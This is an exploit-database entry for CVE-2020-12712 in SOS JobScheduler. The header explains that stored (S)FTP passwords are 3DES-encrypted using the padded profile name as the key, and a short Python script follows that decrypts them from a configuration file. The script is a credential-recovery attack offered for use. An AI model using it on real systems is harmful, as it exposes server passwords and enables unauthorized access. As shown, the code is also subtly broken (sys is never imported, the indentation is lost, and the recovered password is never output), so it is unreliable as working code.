# Exploit Title: SOS JobScheduler 1.13.3 - Stored Password Decryption  
# Google Dork: N/A  
# Date: 2020-04-20  
# Exploit Author: Sander Ubink  
# Vendor Homepage:  
# Software Link:  
# Version: Tested on 1.12.9 and 1.13.3, vendor reported 1.12 and 1.13  
# Tested on: Windows and Linux  
# CVE: CVE-2020-12712  
# Description: SOS JobScheduler is a tool for remote system administration that allows users to call maintenance scripts via a web interface.   
# The tool places the maintenance scripts on the remote systems by means of (S)FTP. It allows the user to save profiles for these connections,   
# in which the password for the (S)FTP connection is optionally stored. When the user chooses to store the password with the profile,   
# it is encrypted using the name of the profile as the encryption key. Since the name of the profile is stored in the same configuration file,   
# the plaintext (S)FTP password can trivially be recovered. The encryption algorithm used is Triple DES (3DES) with three keys, requiring a key   
# length of 24 bytes. The profile name is padded to this length to create the key. Finally, the encrypted password gets base64 encoded before   
# being stored in the configuration file.  
# Usage: python [encrypted password in base64] [profile name]  
import pyDes  
import base64  
import argparse  
parser = argparse.ArgumentParser(description="Decrypt the password stored in a Jobscheduler (S)FTP profile configuration file")  
parser.add_argument("password", help="password to be decrypted")  
parser.add_argument("profilename", help="name of the profile")  
args = parser.parse_args()  
if len(args.profilename) > 24:  
sys.exit("Profile name is longer than 24 characters. Check the validity of the input.")  
key = args.profilename + ((24 - len(args.profilename)) * " ")  
cipher = pyDes.triple_des(key, pyDes.ECB, b"\0\0\0\0\0\0\0\0", pad=" ", padmode=None)  
plain = cipher.decrypt(base64.b64decode(args.password))